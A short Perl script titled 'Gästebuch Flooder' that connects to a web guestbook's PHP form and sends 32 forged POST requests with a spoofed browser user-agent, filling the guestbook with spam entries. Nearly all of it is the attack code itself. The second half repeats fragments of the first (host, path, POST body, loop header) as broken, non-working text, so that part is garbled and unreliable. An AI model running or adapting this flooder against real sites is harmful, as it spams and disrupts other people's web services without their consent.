Gästebuch Flooder

#!/usr/bin/perl

use IO::Socket::INET;
use Getopt::Std;

$host = "www.test.de";
$path = "/gb/gb.php";
$port = 80;

my $sock = new IO::Socket::INET(PeerAddr => $host, PeerPort => $port, Proto => 'tcp')
or die("Could not connect to server");
for(my $i=1;$i<33;$i++){
printf $sock ("POST %s HTTP/1.1
Host: %s
User-Agent: Lynx/2.8.4rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.6c
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: 92
do=add&vname=test&vemail=test%40te.com&vurl=&vcountry=Afghanistan&vcomment=test\r\n",$path, $host, $host);
}
close $sock

#!/usr/bin/perl

$host = "www.test.de";
$path = "/gb/gb.php";

do=add&vname=test&vemail=test%40te.com&vurl=&vcountry=Afghanistan&vcomment=test

for(my $i=1;$i<33;$i++)